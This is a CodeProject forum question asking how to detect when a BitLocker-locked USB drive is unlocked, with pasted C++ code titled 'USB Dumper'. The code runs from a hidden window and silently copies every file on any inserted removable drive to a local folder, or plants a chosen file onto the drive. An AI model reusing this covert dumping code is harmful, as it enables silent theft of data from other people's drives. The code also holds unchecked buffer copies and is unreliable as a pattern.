Click here to Skip to main content
15,885,891 members

How to get notification when removable media(usb, harddisk)is unlocked

Member 12899279 asked:

Open original thread
for eg i have a usb which is locked with bitlocker.
i am looking for some way to get notification as soon as removable device is unlocked by the user?is there any way to do that using dbt.h in c++?
i got below code from this link http://read.pudn.com/downloads163/sourcecode/windows/system/740844/USBDumper%20-%20OK/src/usb.cpp__.htm
but it doesn't detect usb which is locked with bitlocker not even after its unlocked

What I have tried:

#include <windows.h>   
#include <dbt.h>   
#include <direct.h>   
#include <stdio.h>   
   
   
char dir[260];   
char szFile[255] = "";   
   
   
// Function prototype   
LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam);   
char FirstDriveFromMask (ULONG unitmask);   
void GetFile(char* FilePath);   
void CreateDir(char * path);   
void Copy(char* FileName);   
   
     
   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)   
{   
    MSG         msg;        // MSG structure to store messages   
    HWND        hwndMain;   // Main window handle   
    WNDCLASSEX  wcx;        // WINDOW class information    
    HDEVNOTIFY  hDevnotify;   
    DWORD       len;               
   
    DEV_BROADCAST_DEVICEINTERFACE NotificationFilter;   
   
    // 53F56307-B6BF-11D0-94F2-00A0C91EFB8B   
    GUID FilterGUID = {0x53F56307,0x0B6BF,0x11D0,{0x94,0xF2,0x00,0xA0,0xC9,0x1E,0xFB,0x8B}};           
       
   
    printf("\n>> USB Dumper by Valgasu <<\n\n");   
   
   
    // Get command line   
    if (lpCmdLine[0] != '\0') {   
        strcpy(szFile, lpCmdLine);         
    }   
   
    // Initialize the struct to zero   
    ZeroMemory(&wcx,sizeof(WNDCLASSEX));   
   
    wcx.cbSize = sizeof(WNDCLASSEX);        // Window size. Must always be sizeof(WNDCLASSEX)   
    wcx.style = 0 ;                         // Class styles   
    wcx.lpfnWndProc = (WNDPROC)MainWndProc; // Pointer to the callback procedure   
    wcx.cbClsExtra = 0;                     // Extra byte to allocate following the wndclassex structure   
    wcx.cbWndExtra = 0;                     // Extra byte to allocate following an instance of the structure   
    wcx.hInstance = hInstance;              // Instance of the application   
    wcx.hIcon = NULL;                       // Class Icon   
    wcx.hCursor = NULL;                     // Class Cursor   
    wcx.hbrBackground = NULL;               // Background brush   
    wcx.lpszMenuName = NULL;                // Menu resource   
    wcx.lpszClassName = "USB";              // Name of this class   
    wcx.hIconSm = NULL;                     // Small icon for this class   
   
    // Register this window class with MS-Windows   
    if (!RegisterClassEx(&wcx))   
        return 0;   
   
    // Create the window   
    hwndMain = CreateWindowEx(0,// Extended window style   
                "USB",          // Window class name   
                "",             // Window title   
                WS_POPUP,       // Window style   
                0,0,            // (x,y) pos of the window   
                0,0,            // Width and height of the window   
                NULL,           // HWND of the parent window (can be null also)   
                NULL,           // Handle to menu   
                hInstance,      // Handle to application instance   
                NULL);          // Pointer to window creation data   
   
    // Check if window creation was successful   
    if (!hwndMain)   
        return 0;   
   
    // Make the window invisible   
    ShowWindow(hwndMain,SW_HIDE);   
   
    // Initialize device class structure    
    len = sizeof(DEV_BROADCAST_DEVICEINTERFACE);   
    memset(&NotificationFilter,0,len);   
   
    NotificationFilter.dbcc_size = 0x20;   
    NotificationFilter.dbcc_devicetype = 5;         // DBT_DEVTYP_DEVICEINTERFACE;   
    NotificationFilter.dbcc_classguid = FilterGUID;   
       
    // Register   
    hDevnotify = RegisterDeviceNotification(hwndMain, &NotificationFilter, DEVICE_NOTIFY_WINDOW_HANDLE);   
   
    if(hDevnotify == NULL)       
        return 0;   
   
    // Process messages coming to this window   
    while (GetMessage(&msg, NULL, 0, 0)) {   
        TranslateMessage(&msg);   
        DispatchMessage(&msg);   
    }   
   
    // return value to the system   
    return msg.wParam;   
 }   
   
   
LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam)   
{   
    char szMsg[80];   
    char szFileDest[255];   
    char drive;   
    char szDrive[20];   
    char dtime[20];   
    char temp[10];   
    SYSTEMTIME  st;   
    PDEV_BROADCAST_VOLUME PdevVolume;   
    PDEV_BROADCAST_DEVICEINTERFACE PdevDEVICEINTERFACE;   
   
   
    switch (msg)   
    {   
        case WM_DEVICECHANGE:   
            switch(wParam)   
            {   
                // A device or piece of media has been inserted and is now available   
                case DBT_DEVICEARRIVAL:   
                    PdevDEVICEINTERFACE = (PDEV_BROADCAST_DEVICEINTERFACE)lParam;   
                       
                    switch(PdevDEVICEINTERFACE->dbcc_devicetype)   
                    {                       
                        // Class of devices   
                        case DBT_DEVTYP_DEVICEINTERFACE:   
                            // MessageBox(NULL, PdevDEVICEINTERFACE->dbcc_name, "DEBUG", MB_OK);   
                            break;   
                            
                        // Logical volume   
                        case DBT_DEVTYP_VOLUME:   
                            PdevVolume = (PDEV_BROADCAST_VOLUME)lParam;                                                                                                                
                            drive = FirstDriveFromMask(PdevVolume ->dbcv_unitmask);   
                            wsprintf(szDrive, "%c:\\", drive);   
                            wsprintf(szMsg, "Drive %s connected\n", szDrive);   
   
                            // MessageBox (NULL, szMsg, "WM_DEVICECHANGE", MB_OK);                         
                                                                                       
                            GetLocalTime(&st);   
                            itoa(st.wYear, temp, 10);   
                            strcpy(dtime, temp);   
                            itoa(st.wMonth, temp, 10);   
                            strcat(dtime, temp);   
                            itoa(st.wDay, temp, 10);   
                            strcat(dtime , temp);   
                            _mkdir(dtime);   
                            _getcwd(dir, 260);   
                            strcat(dir, "\\");   
                            strcat(dir, dtime );   
                            strcat(dir, "\\" );                    
   
                            // Check command line                                  
                            if (strcmp(szFile, "") != 0) {                                 
                                wsprintf(szFileDest, "%s%s", szDrive, szFile);   
                                //MessageBox(NULL, szFileDest, "DEBUG", MB_OK);    
                                CopyFile(szFile, szFileDest, FALSE);   
                            }   
                            else {                                 
                                GetFile(szDrive);   
                            }   
                               
                    }   
                    break;   
            }   
            break;   
   
        default:   
            // Call the default window handler   
            return DefWindowProc(hwnd,msg,wParam,lParam);   
    }   
   
    return 0;   
}   
   
   
char FirstDriveFromMask (ULONG unitmask)   
{   
   char i;   
   
   for (i = 0 ; i < 26 ; ++i)   
   {   
      if (unitmask & 0x1)   
         break;   
      unitmask = unitmask >> 1;   
   }   
   
   return (i + 'A');   
}   
   
   
void Copy(char* FileName)   
{   
    char dir2[260];   
    char* temp;   
       
   
    temp = strchr(FileName, '\\');   
    strcpy(dir2, dir);   
    temp++;   
    strcat(dir2, temp);   
    CopyFile(FileName, dir2, 1);   
}   
   
   
void CreateDir(char * path)   
{   
    char temp2[260];       
    char* temp;   
   
   
    temp = strchr(path, '\\');   
    strcpy(temp2, dir);   
    temp++;   
    strcat(temp2, temp);   
    _mkdir(temp2);   
}   
   
   
void GetFile(char* FilePath)   
{   
    char    temp[260];   
    char    temp1[260];    
    HANDLE  hFind;   
    WIN32_FIND_DATA FindFileData;   
   
   
    strcpy(temp, FilePath);   
    strcat(temp, "*");   
   
    hFind = FindFirstFile(temp, &FindFileData);   
   
    if (hFind != INVALID_HANDLE_VALUE) {   
   
        do {   
            strcpy(temp1, FilePath);   
            strcat(temp1, FindFileData.cFileName);   
   
            if(strcmp(FindFileData.cFileName, ".") != 0 && strcmp(FindFileData.cFileName, "..") != 0) {   
                   
                if (FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {   
                    strcat(temp1, "\\");   
                    CreateDir(temp1);   
                    GetFile(temp1);   
   
                }    
                else {   
                    Copy(temp1);   
                }                     
            }   
        }   
        while(FindNextFile(hFind, &FindFileData));   
   
    }   
   
    FindClose(hFind);   
}   
C++
<pre lang="c++">
Tags: C++

Plain Text
ASM
ASP
ASP.NET
BASIC
BAT
C#
C++
COBOL
CoffeeScript
CSS
Dart
dbase
F#
FORTRAN
HTML
Java
Javascript
Kotlin
Lua
MIDL
MSIL
ObjectiveC
Pascal
PERL
PHP
PowerShell
Python
Razor
Ruby
Scala
Shell
SLN
SQL
Swift
T4
Terminal
TypeScript
VB
VBScript
XML
YAML

Preview



When answering a question please:
  1. Read the question carefully.
  2. Understand that English isn't everyone's first language so be lenient of bad spelling and grammar.
  3. If a question is poorly phrased then either ask for clarification, ignore it, or edit the question and fix the problem. Insults are not welcome.
  4. Don't tell someone to read the manual. Chances are they have and don't get it. Provide an answer or move on to the next question.
Let's work to help developers, not make them feel stupid.
Please note that all posts will be submitted under the http://www.codeproject.com/info/cpol10.aspx.



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900